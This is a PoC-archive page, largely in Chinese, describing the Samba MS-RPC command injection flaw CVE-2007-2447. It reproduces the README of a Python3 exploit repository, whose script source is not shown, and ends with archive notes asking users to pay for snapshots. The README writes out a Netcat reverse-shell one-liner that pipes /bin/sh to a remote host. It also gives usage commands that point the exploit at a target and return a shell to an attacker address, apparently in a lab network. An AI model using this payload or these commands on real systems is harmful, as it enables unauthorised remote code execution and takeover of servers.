关联漏洞
标题:
Samba MS-RPC Shell命令注入漏洞
(CVE-2007-2447)
描述:Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执
描述
Exploit code for CVE-2007-2447 written in Python3.
介绍
# CVE-2007-2447 - Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution
## Introduction
This repository contains my exploit code for CVE-2007-2447 written in Python3. By default it sends a [Netcat OpenBSD reverse shell](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-openbsd) on port 443 to the target host, but you can also specify a custom command.
```bash
# Netcat OpenBSD reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
## Usage
```bash
# Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443
python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82
# With custom rport and lport
python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82 --lport 31337
# Execute custom command and set timeout for slow hosts
python3 CVE-2007-2447.py --rhost 10.129.232.46 -c "ping -c 3 10.10.14.82" -t 10
```
文件快照
[4.0K] /data/pocs/3b092cfccc75cf6778a6dc00ed0824dbf92fbfd2
├── [2.0K] CVE-2007-2447.py
└── [1.0K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。